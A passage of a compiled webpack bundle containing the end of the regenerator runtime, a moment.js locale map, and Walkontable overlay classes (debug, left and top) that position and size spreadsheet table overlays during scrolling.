tryLoc: locs[0] }; if (1 in locs) { entry.catchLoc = locs[1]; } if (2 in locs) { entry.finallyLoc = locs[2]; entry.afterLoc = locs[3]; } this.tryEntries.push(entry); } function resetTryEntry(entry) { var record = entry.completion || {}; record.type = "normal"; delete record.arg; entry.completion = record; } function Context(tryLocsList) { // The root entry object (effectively a try statement without a catch // or a finally block) gives us a place to store values thrown from // locations where there is no enclosing try statement. this.tryEntries = [{ tryLoc: "root" }]; tryLocsList.forEach(pushTryEntry, this); this.reset(true); } runtime.keys = function(object) { var keys = []; for (var key in object) { keys.push(key); } keys.reverse(); // Rather than returning an object with a next method, we keep // things simple and return the next function itself. return function next() { while (keys.length) { var key = keys.pop(); if (key in object) { next.value = key; next.done = false; return next; } } // To avoid creating an additional object, we just hang the .value // and .done properties off the next function object itself. This // also ensures that the minifier will not anonymize the function. next.done = true; return next; }; }; function values(iterable) { if (iterable) { var iteratorMethod = iterable[iteratorSymbol]; if (iteratorMethod) { return iteratorMethod.call(iterable); } if (typeof iterable.next === "function") { return iterable; } if (!isNaN(iterable.length)) { var i = -1, next = function next() { while (++i < iterable.length) { if (hasOwn.call(iterable, i)) { next.value = iterable[i]; next.done = false; return next; } } next.value = undefined; next.done = true; return next; }; return next.next = next; } } // Return an iterator with no values. return { next: doneResult }; } runtime.values = values; function doneResult() { return { value: undefined, done: true }; } Context.prototype = { constructor: Context, reset: function(skipTempReset) { this.prev = 0; this.next = 0; // Resetting context._sent for legacy support of Babel's // function.sent implementation. this.sent = this._sent = undefined; this.done = false; this.delegate = null; this.method = "next"; this.arg = undefined; this.tryEntries.forEach(resetTryEntry); if (!skipTempReset) { for (var name in this) { // Not sure about the optimal order of these conditions: if (name.charAt(0) === "t" && hasOwn.call(this, name) && !isNaN(+name.slice(1))) { this[name] = undefined; } } } }, stop: function() { this.done = true; var rootEntry = this.tryEntries[0]; var rootRecord = rootEntry.completion; if (rootRecord.type === "throw") { throw rootRecord.arg; } return this.rval; }, dispatchException: function(exception) { if (this.done) { throw exception; } var context = this; function handle(loc, caught) { record.type = "throw"; record.arg = exception; context.next = loc; if (caught) { // If the dispatched exception was caught by a catch block, // then let that catch block handle the exception normally. context.method = "next"; context.arg = undefined; } return !! caught; } for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; var record = entry.completion; if (entry.tryLoc === "root") { // Exception thrown outside of any try block that could handle // it, so set the completion value of the entire function to // throw the exception. return handle("end"); } if (entry.tryLoc <= this.prev) { var hasCatch = hasOwn.call(entry, "catchLoc"); var hasFinally = hasOwn.call(entry, "finallyLoc"); if (hasCatch && hasFinally) { if (this.prev < entry.catchLoc) { return handle(entry.catchLoc, true); } else if (this.prev < entry.finallyLoc) { return handle(entry.finallyLoc); } } else if (hasCatch) { if (this.prev < entry.catchLoc) { return handle(entry.catchLoc, true); } } else if (hasFinally) { if (this.prev < entry.finallyLoc) { return handle(entry.finallyLoc); } } else { throw new Error("try statement without catch or finally"); } } } }, abrupt: function(type, arg) { for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; if (entry.tryLoc <= this.prev && hasOwn.call(entry, "finallyLoc") && this.prev < entry.finallyLoc) { var finallyEntry = entry; break; } } if (finallyEntry && (type === "break" || type === "continue") && finallyEntry.tryLoc <= arg && arg <= finallyEntry.finallyLoc) { // Ignore the finally entry if control is not jumping to a // location outside the try/catch block. finallyEntry = null; } var record = finallyEntry ? finallyEntry.completion : {}; record.type = type; record.arg = arg; if (finallyEntry) { this.method = "next"; this.next = finallyEntry.finallyLoc; return ContinueSentinel; } return this.complete(record); }, complete: function(record, afterLoc) { if (record.type === "throw") { throw record.arg; } if (record.type === "break" || record.type === "continue") { this.next = record.arg; } else if (record.type === "return") { this.rval = this.arg = record.arg; this.method = "return"; this.next = "end"; } else if (record.type === "normal" && afterLoc) { this.next = afterLoc; } return ContinueSentinel; }, finish: function(finallyLoc) { for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; if (entry.finallyLoc === finallyLoc) { this.complete(entry.completion, entry.afterLoc); resetTryEntry(entry); return ContinueSentinel; } } }, "catch": function(tryLoc) { for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; if (entry.tryLoc === tryLoc) { var record = entry.completion; if (record.type === "throw") { var thrown = record.arg; resetTryEntry(entry); } return thrown; } } // The context.catch method must only be called with a location // argument that corresponds to a known catch block. throw new Error("illegal catch attempt"); }, delegateYield: function(iterable, resultName, nextLoc) { this.delegate = { iterator: values(iterable), resultName: resultName, nextLoc: nextLoc }; if (this.method === "next") { // Deliberately forget the last sent value so that we don't // accidentally pass it on to the delegate. this.arg = undefined; } return ContinueSentinel; } }; })( // In sloppy mode, unbound `this` refers to the global object, fallback to // Function constructor if we're in global strict mode. That is sadly a form // of indirect eval which violates Content Security Policy. (function() { return this })() || Function("return this")() ); /***/ }), /* 602 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 603 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 604 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 605 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _base = _interopRequireDefault(__webpack_require__(43)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * A overlay that renders ALL available rows & columns positioned on top of the original Walkontable instance and all other overlays. * Used for debugging purposes to see if the other overlays (that render only part of the rows & columns) are positioned correctly * * @class DebugOverlay */ var DebugOverlay = /*#__PURE__*/ function (_Overlay) { _inherits(DebugOverlay, _Overlay); /** * @param {Walkontable} wotInstance */ function DebugOverlay(wotInstance) { var _this; _classCallCheck(this, DebugOverlay); _this = _possibleConstructorReturn(this, _getPrototypeOf(DebugOverlay).call(this, wotInstance)); _this.clone = _this.makeClone(_base.default.CLONE_DEBUG); _this.clone.wtTable.holder.style.opacity = 0.4; _this.clone.wtTable.holder.style.textShadow = '0 0 2px #ff0000'; (0, _element.addClass)(_this.clone.wtTable.holder.parentNode, 'wtDebugVisible'); return _this; } return DebugOverlay; }(_base.default); _base.default.registerOverlay(_base.default.CLONE_DEBUG, DebugOverlay); var _default = DebugOverlay; exports.default = _default; /***/ }), /* 606 */ /***/ (function(module, exports, __webpack_require__) { var map = { "./af": 167, "./af.js": 167, "./ar": 168, "./ar-dz": 169, "./ar-dz.js": 169, "./ar-kw": 170, "./ar-kw.js": 170, "./ar-ly": 171, "./ar-ly.js": 171, "./ar-ma": 172, "./ar-ma.js": 172, "./ar-sa": 173, "./ar-sa.js": 173, "./ar-tn": 174, "./ar-tn.js": 174, "./ar.js": 168, "./az": 175, "./az.js": 175, "./be": 176, "./be.js": 176, "./bg": 177, "./bg.js": 177, "./bm": 178, "./bm.js": 178, "./bn": 179, "./bn.js": 179, "./bo": 180, "./bo.js": 180, "./br": 181, "./br.js": 181, "./bs": 182, "./bs.js": 182, "./ca": 183, "./ca.js": 183, "./cs": 184, "./cs.js": 184, "./cv": 185, "./cv.js": 185, "./cy": 186, "./cy.js": 186, "./da": 187, "./da.js": 187, "./de": 188, "./de-at": 189, "./de-at.js": 189, "./de-ch": 190, "./de-ch.js": 190, "./de.js": 188, "./dv": 191, "./dv.js": 191, "./el": 192, "./el.js": 192, "./en-au": 193, "./en-au.js": 193, "./en-ca": 194, "./en-ca.js": 194, "./en-gb": 195, "./en-gb.js": 195, "./en-ie": 196, "./en-ie.js": 196, "./en-nz": 197, "./en-nz.js": 197, "./eo": 198, "./eo.js": 198, "./es": 199, "./es-do": 200, "./es-do.js": 200, "./es-us": 201, "./es-us.js": 201, "./es.js": 199, "./et": 202, "./et.js": 202, "./eu": 203, "./eu.js": 203, "./fa": 204, "./fa.js": 204, "./fi": 205, "./fi.js": 205, "./fo": 206, "./fo.js": 206, "./fr": 207, "./fr-ca": 208, "./fr-ca.js": 208, "./fr-ch": 209, "./fr-ch.js": 209, "./fr.js": 207, "./fy": 210, "./fy.js": 210, "./gd": 211, "./gd.js": 211, "./gl": 212, "./gl.js": 212, "./gom-latn": 213, "./gom-latn.js": 213, "./gu": 214, "./gu.js": 214, "./he": 215, "./he.js": 215, "./hi": 216, "./hi.js": 216, "./hr": 217, "./hr.js": 217, "./hu": 218, "./hu.js": 218, "./hy-am": 219, "./hy-am.js": 219, "./id": 220, "./id.js": 220, "./is": 221, "./is.js": 221, "./it": 222, "./it.js": 222, "./ja": 223, "./ja.js": 223, "./jv": 224, "./jv.js": 224, "./ka": 225, "./ka.js": 225, "./kk": 226, "./kk.js": 226, "./km": 227, "./km.js": 227, "./kn": 228, "./kn.js": 228, "./ko": 229, "./ko.js": 229, "./ky": 230, "./ky.js": 230, "./lb": 231, "./lb.js": 231, "./lo": 232, "./lo.js": 232, "./lt": 233, "./lt.js": 233, "./lv": 234, "./lv.js": 234, "./me": 235, "./me.js": 235, "./mi": 236, "./mi.js": 236, "./mk": 237, "./mk.js": 237, "./ml": 238, "./ml.js": 238, "./mr": 239, "./mr.js": 239, "./ms": 240, "./ms-my": 241, "./ms-my.js": 241, "./ms.js": 240, "./mt": 242, "./mt.js": 242, "./my": 243, "./my.js": 243, "./nb": 244, "./nb.js": 244, "./ne": 245, "./ne.js": 245, "./nl": 246, "./nl-be": 247, "./nl-be.js": 247, "./nl.js": 246, "./nn": 248, "./nn.js": 248, "./pa-in": 249, "./pa-in.js": 249, "./pl": 250, "./pl.js": 250, "./pt": 251, "./pt-br": 252, "./pt-br.js": 252, "./pt.js": 251, "./ro": 253, "./ro.js": 253, "./ru": 254, "./ru.js": 254, "./sd": 255, "./sd.js": 255, "./se": 256, "./se.js": 256, "./si": 257, "./si.js": 257, "./sk": 258, "./sk.js": 258, "./sl": 259, "./sl.js": 259, "./sq": 260, "./sq.js": 260, "./sr": 261, "./sr-cyrl": 262, "./sr-cyrl.js": 262, "./sr.js": 261, "./ss": 263, "./ss.js": 263, "./sv": 264, "./sv.js": 264, "./sw": 265, "./sw.js": 265, "./ta": 266, "./ta.js": 266, "./te": 267, "./te.js": 267, "./tet": 268, "./tet.js": 268, "./th": 269, "./th.js": 269, "./tl-ph": 270, "./tl-ph.js": 270, "./tlh": 271, "./tlh.js": 271, "./tr": 272, "./tr.js": 272, "./tzl": 273, "./tzl.js": 273, "./tzm": 274, "./tzm-latn": 275, "./tzm-latn.js": 275, "./tzm.js": 274, "./uk": 276, "./uk.js": 276, "./ur": 277, "./ur.js": 277, "./uz": 278, "./uz-latn": 279, "./uz-latn.js": 279, "./uz.js": 278, "./vi": 280, "./vi.js": 280, "./x-pseudo": 281, "./x-pseudo.js": 281, "./yo": 282, "./yo.js": 282, "./zh-cn": 283, "./zh-cn.js": 283, "./zh-hk": 284, "./zh-hk.js": 284, "./zh-tw": 285, "./zh-tw.js": 285 }; function webpackContext(req) { return __webpack_require__(webpackContextResolve(req)); }; function webpackContextResolve(req) { var id = map[req]; if(!(id + 1)) // check for number or string throw new Error("Cannot find module '" + req + "'."); return id; }; webpackContext.keys = function webpackContextKeys() { return Object.keys(map); }; webpackContext.resolve = webpackContextResolve; module.exports = webpackContext; webpackContext.id = 606; /***/ }), /* 607 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _base = _interopRequireDefault(__webpack_require__(43)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @class LeftOverlay */ var LeftOverlay = /*#__PURE__*/ function (_Overlay) { _inherits(LeftOverlay, _Overlay); /** * @param {Walkontable} wotInstance */ function LeftOverlay(wotInstance) { var _this; _classCallCheck(this, LeftOverlay); _this = _possibleConstructorReturn(this, _getPrototypeOf(LeftOverlay).call(this, wotInstance)); _this.clone = _this.makeClone(_base.default.CLONE_LEFT); return _this; } /** * Checks if overlay should be fully rendered. * * @returns {Boolean} */ _createClass(LeftOverlay, [{ key: "shouldBeRendered", value: function shouldBeRendered() { return !!(this.wot.getSetting('fixedColumnsLeft') || this.wot.getSetting('rowHeaders').length); } /** * Updates the left overlay position. */ }, { key: "resetFixedPosition", value: function resetFixedPosition() { if (!this.needFullRender || !this.wot.wtTable.holder.parentNode) { // removed from DOM return; } var overlayRoot = this.clone.wtTable.holder.parentNode; var headerPosition = 0; var preventOverflow = this.wot.getSetting('preventOverflow'); if (this.trimmingContainer === window && (!preventOverflow || preventOverflow !== 'horizontal')) { var box = this.wot.wtTable.hider.getBoundingClientRect(); var left = Math.ceil(box.left); var right = Math.ceil(box.right); var finalLeft; var finalTop; finalTop = this.wot.wtTable.hider.style.top; finalTop = finalTop === '' ? 0 : finalTop; if (left < 0 && right - overlayRoot.offsetWidth > 0) { finalLeft = -left; } else { finalLeft = 0; } headerPosition = finalLeft; finalLeft += 'px'; (0, _element.setOverlayPosition)(overlayRoot, finalLeft, finalTop); } else { headerPosition = this.getScrollPosition(); (0, _element.resetCssTransform)(overlayRoot); } this.adjustHeaderBordersPosition(headerPosition); this.adjustElementsSize(); } /** * Sets the main overlay's horizontal scroll position. * * @param {Number} pos * @returns {Boolean} */ }, { key: "setScrollPosition", value: function setScrollPosition(pos) { var result = false; if (this.mainTableScrollableElement === window && window.scrollX !== pos) { window.scrollTo(pos, (0, _element.getWindowScrollTop)()); result = true; } else if (this.mainTableScrollableElement.scrollLeft !== pos) { this.mainTableScrollableElement.scrollLeft = pos; result = true; } return result; } /** * Triggers onScroll hook callback. */ }, { key: "onScroll", value: function onScroll() { this.wot.getSetting('onScrollVertically'); } /** * Calculates total sum cells width. * * @param {Number} from Column index which calculates started from. * @param {Number} to Column index where calculation is finished. * @returns {Number} Width sum. */ }, { key: "sumCellSizes", value: function sumCellSizes(from, to) { var defaultColumnWidth = this.wot.wtSettings.defaultColumnWidth; var column = from; var sum = 0; while (column < to) { sum += this.wot.wtTable.getStretchedColumnWidth(column) || defaultColumnWidth; column += 1; } return sum; } /** * Adjust overlay root element, childs and master table element sizes (width, height). * * @param {Boolean} [force=false] */ }, { key: "adjustElementsSize", value: function adjustElementsSize() { var force = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; this.updateTrimmingContainer(); if (this.needFullRender || force) { this.adjustRootElementSize(); this.adjustRootChildrenSize(); if (!force) { this.areElementSizesAdjusted = true; } } } /** * Adjust overlay root element size (width and height). */ }, { key: "adjustRootElementSize", value: function adjustRootElementSize() { var masterHolder = this.wot.wtTable.holder; var scrollbarHeight = masterHolder.clientHeight === masterHolder.offsetHeight ? 0 : (0, _element.getScrollbarWidth)(); var overlayRoot = this.clone.wtTable.holder.parentNode; var overlayRootStyle = overlayRoot.style; var preventOverflow = this.wot.getSetting('preventOverflow'); if (this.trimmingContainer !== window || preventOverflow === 'vertical') { var height = this.wot.wtViewport.getWorkspaceHeight() - scrollbarHeight; height = Math.min(height, (0, _element.innerHeight)(this.wot.wtTable.wtRootElement)); overlayRootStyle.height = "".concat(height, "px"); } else { overlayRootStyle.height = ''; } this.clone.wtTable.holder.style.height = overlayRootStyle.height; var tableWidth = (0, _element.outerWidth)(this.clone.wtTable.TABLE); overlayRootStyle.width = "".concat(tableWidth === 0 ? tableWidth : tableWidth + 4, "px"); } /** * Adjust overlay root childs size. */ }, { key: "adjustRootChildrenSize", value: function adjustRootChildrenSize() { var scrollbarWidth = (0, _element.getScrollbarWidth)(); this.clone.wtTable.hider.style.height = this.hider.style.height; this.clone.wtTable.holder.style.height = this.clone.wtTable.holder.parentNode.style.height; if (scrollbarWidth === 0) { scrollbarWidth = 30; } this.clone.wtTable.holder.style.width = "".concat(parseInt(this.clone.wtTable.holder.parentNode.style.width, 10) + scrollbarWidth, "px"); } /** * Adjust the overlay dimensions and position. */ }, { key: "applyToDOM", value: function applyToDOM() { var total = this.wot.getSetting('totalColumns'); if (!this.areElementSizesAdjusted) { this.adjustElementsSize(); } if (typeof this.wot.wtViewport.columnsRenderCalculator.startPosition === 'number') { this.spreader.style.left = "".concat(this.wot.wtViewport.columnsRenderCalculator.startPosition, "px"); } else if (total === 0) { this.spreader.style.left = '0'; } else { throw new Error('Incorrect value of the columnsRenderCalculator'); } this.spreader.style.right = ''; if (this.needFullRender) { this.syncOverlayOffset(); } } /** * Synchronize calculated top position to an element. */ }, { key: "syncOverlayOffset", value: function syncOverlayOffset() { if (typeof this.wot.wtViewport.rowsRenderCalculator.startPosition === 'number') { this.clone.wtTable.spreader.style.top = "".concat(this.wot.wtViewport.rowsRenderCalculator.startPosition, "px"); } else { this.clone.wtTable.spreader.style.top = ''; } } /** * Scrolls horizontally to a column at the left edge of the viewport. * * @param {Number} sourceCol Column index which you want to scroll to. * @param {Boolean} [beyondRendered] if `true`, scrolls according to the bottom edge (top edge is by default). * @returns {Boolean} */ }, { key: "scrollTo", value: function scrollTo(sourceCol, beyondRendered) { var newX = this.getTableParentOffset(); var sourceInstance = this.wot.cloneSource ? this.wot.cloneSource : this.wot; var mainHolder = sourceInstance.wtTable.holder; var scrollbarCompensation = 0; if (beyondRendered && mainHolder.offsetWidth !== mainHolder.clientWidth) { scrollbarCompensation = (0, _element.getScrollbarWidth)(); } if (beyondRendered) { newX += this.sumCellSizes(0, sourceCol + 1); newX -= this.wot.wtViewport.getViewportWidth(); } else { newX += this.sumCellSizes(this.wot.getSetting('fixedColumnsLeft'), sourceCol); } newX += scrollbarCompensation; return this.setScrollPosition(newX); } /** * Gets table parent left position. * * @returns {Number} */ }, { key: "getTableParentOffset", value: function getTableParentOffset() { var preventOverflow = this.wot.getSetting('preventOverflow'); var offset = 0; if (!preventOverflow && this.trimmingContainer === window) { offset = this.wot.wtTable.holderOffset.left; } return offset; } /** * Gets the main overlay's horizontal scroll position. * * @returns {Number} Main table's vertical scroll position. */ }, { key: "getScrollPosition", value: function getScrollPosition() { return (0, _element.getScrollLeft)(this.mainTableScrollableElement); } /** * Adds css classes to hide the header border's header (cell-selection border hiding issue). * * @param {Number} position Header X position if trimming container is window or scroll top if not. */ }, { key: "adjustHeaderBordersPosition", value: function adjustHeaderBordersPosition(position) { var masterParent = this.wot.wtTable.holder.parentNode; var rowHeaders = this.wot.getSetting('rowHeaders'); var fixedColumnsLeft = this.wot.getSetting('fixedColumnsLeft'); var totalRows = this.wot.getSetting('totalRows'); if (totalRows) { (0, _element.removeClass)(masterParent, 'emptyRows'); } else { (0, _element.addClass)(masterParent, 'emptyRows'); } if (fixedColumnsLeft && !rowHeaders.length) { (0, _element.addClass)(masterParent, 'innerBorderLeft'); } else if (!fixedColumnsLeft && rowHeaders.length) { var previousState = (0, _element.hasClass)(masterParent, 'innerBorderLeft'); if (position) { (0, _element.addClass)(masterParent, 'innerBorderLeft'); } else { (0, _element.removeClass)(masterParent, 'innerBorderLeft'); } if (!previousState && position || previousState && !position) { this.wot.wtOverlays.adjustElementsSize(); } } } }]); return LeftOverlay; }(_base.default); _base.default.registerOverlay(_base.default.CLONE_LEFT, LeftOverlay); var _default = LeftOverlay; exports.default = _default; /***/ }), /* 608 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _array = __webpack_require__(3); var _base = _interopRequireDefault(__webpack_require__(43)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @class TopOverlay */ var TopOverlay = /*#__PURE__*/ function (_Overlay) { _inherits(TopOverlay, _Overlay); /** * @param {Walkontable} wotInstance */ function TopOverlay(wotInstance) { var _this; _classCallCheck(this, TopOverlay); _this = _possibleConstructorReturn(this, _getPrototypeOf(TopOverlay).call(this, wotInstance)); _this.clone = _this.makeClone(_base.default.CLONE_TOP); return _this; } /** * Checks if overlay should be fully rendered. * * @returns {Boolean} */ _createClass(TopOverlay, [{ key: "shouldBeRendered", value: function shouldBeRendered() { return !!(this.wot.getSetting('fixedRowsTop') || this.wot.getSetting('columnHeaders').length); } /** * Updates the top overlay position. */ }, { key: "resetFixedPosition", value: function resetFixedPosition() { if (!this.needFullRender || !this.wot.wtTable.holder.parentNode) { // removed from DOM return; } var overlayRoot = this.clone.wtTable.holder.parentNode; var headerPosition = 0; var preventOverflow = this.wot.getSetting('preventOverflow'); if (this.trimmingContainer === window && (!preventOverflow || preventOverflow !== 'vertical')) { var box = this.wot.wtTable.hider.getBoundingClientRect(); var top = Math.ceil(box.top); var bottom = Math.ceil(box.bottom); var finalLeft; var finalTop; finalLeft = this.wot.wtTable.hider.style.left; finalLeft = finalLeft === '' ? 0 : finalLeft; if (top < 0 && bottom - overlayRoot.offsetHeight > 0) { finalTop = -top; } else { finalTop = 0; } headerPosition = finalTop; finalTop += 'px'; (0, _element.setOverlayPosition)(overlayRoot, finalLeft, finalTop); } else { headerPosition = this.getScrollPosition(); (0, _element.resetCssTransform)(overlayRoot); } this.adjustHeaderBordersPosition(headerPosition); this.adjustElementsSize(); } /** * Sets the main overlay's vertical scroll position. * * @param {Number} pos * @returns {Boolean} */ }, { key: "setScrollPosition", value: function setScrollPosition(pos) { var result = false; if (this.mainTableScrollableElement === window && window.scrollY !== pos) { window.scrollTo((0, _element.getWindowScrollLeft)(), pos); result = true; } else if (this.mainTableScrollableElement.scrollTop !== pos) { this.mainTableScrollableElement.scrollTop = pos; result = true; } return result; } /** * Triggers onScroll hook callback. */ }, { key: "onScroll", value: function onScroll() { this.wot.getSetting('onScrollHorizontally'); } /** * Calculates total sum cells height. * * @param {Number} from Row index which calculates started from. * @param {Number} to Row index where calculation is finished. * @returns {Number} Height sum. */ }, { key: "sumCellSizes", value: function sumCellSizes(from, to) { var defaultRowHeight = this.wot.wtSettings.settings.defaultRowHeight; var row = from; var sum = 0; while (row < to) { var height = this.wot.wtTable.getRowHeight(row); sum += height === void 0 ? defaultRowHeight : height; row += 1; } return sum; } /** * Adjust overlay root element, childs and master table element sizes (width, height). * * @param {Boolean} [force=false] */ }, { key: "adjustElementsSize", value: function adjustElementsSize() { var force = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; this.updateTrimmingContainer(); if (this.needFullRender || force) { this.adjustRootElementSize(); this.adjustRootChildrenSize(); if (!force) { this.areElementSizesAdjusted = true; } } } /** * Adjust overlay root element size (width and height). */ }, { key: "adjustRootElementSize", value: function adjustRootElementSize() { var masterHolder = this.wot.wtTable.holder; var scrollbarWidth = masterHolder.clientWidth === masterHolder.offsetWidth ? 0 : (0, _element.getScrollbarWidth)(); var overlayRoot = this.clone.wtTable.holder.parentNode; var overlayRootStyle = overlayRoot.style; var preventOverflow = this.wot.getSetting('preventOverflow'); if (this.trimmingContainer !== window || preventOverflow === 'horizontal') { var width = this.wot.wtViewport.getWorkspaceWidth() - scrollbarWidth; width = Math.min(width, (0, _element.innerWidth)(this.wot.wtTable.wtRootElement)); overlayRootStyle.width = "".concat(width, "px"); } else { overlayRootStyle.width = ''; } this.clone.wtTable.holder.style.width = overlayRootStyle.width; var tableHeight = (0, _element.outerHeight)(this.clone.wtTable.TABLE); overlayRootStyle.height = "".concat(tableHeight === 0 ? tableHeight : tableHeight + 4, "px"); } /** * Adjust overlay root childs size. */ }, { key: "adjustRootChildrenSize", value: function adjustRootChildrenSize() { var scrollbarWidth = (0, _element.getScrollbarWidth)(); this.clone.wtTable.hider.style.width = this.hider.style.width; this.clone.wtTable.holder.style.width = this.clone.wtTable.holder.parentNode.style.width; if (scrollbarWidth === 0) { scrollbarWidth = 30; } this.clone.wtTable.holder.style.height = "".concat(parseInt(this.clone.wtTable.holder.parentNode.style.height, 10) + scrollbarWidth, "px"); } /** * Adjust the overlay dimensions and position. */ }, { key: "applyToDOM", value: function applyToDOM() { var total = this.wot.getSetting('totalRows'); if (!this.areElementSizesAdjusted) { this.adjustElementsSize(); } if (typeof this.wot.wtViewport.rowsRenderCalculator.startPosition === 'number') { this.spreader.style.top = "".concat(this.wot.wtViewport.rowsRenderCalculator.startPosition, "px"); } else if (total === 0) { // can happen if there are 0 rows this.spreader.style.top = '0'; } else { throw new Error('Incorrect value of the rowsRenderCalculator'); } this.spreader.style.bottom = ''; if (this.needFullRender) { this.syncOverlayOffset(); } } /** * Synchronize calculated left position to an element. */ }, { key: "syncOverlayOffset", value: function syncOverlayOffset() { if (typeof this.wot.wtViewport.columnsRenderCalculator.startPosition === 'number') { this.clone.wtTable.spreader.style.left = "".concat(this.wot.wtViewport.columnsRenderCalculator.startPosition, "px"); } else { this.clone.wtTable.spreader.style.left = ''; } } /** * Scrolls vertically to a row. * * @param {Number} sourceRow Row index which you want to scroll to. * @param {Boolean} [bottomEdge] if `true`, scrolls according to the bottom edge (top edge is by default). * @returns {Boolean} */ }, { key: "scrollTo", value: function scrollTo(sourceRow, bottomEdge) { var newY = this.getTableParentOffset(); var sourceInstance = this.wot.cloneSource ? this.wot.cloneSource : this.wot; var mainHolder = sourceInstance.wtTable.holder; var scrollbarCompensation = 0; if (bottomEdge && mainHolder.offsetHeight !== mainHolder.clientHeight) { scrollbarCompensation = (0, _element.getScrollbarWidth)(); } if (bottomEdge) { var fixedRowsBottom = 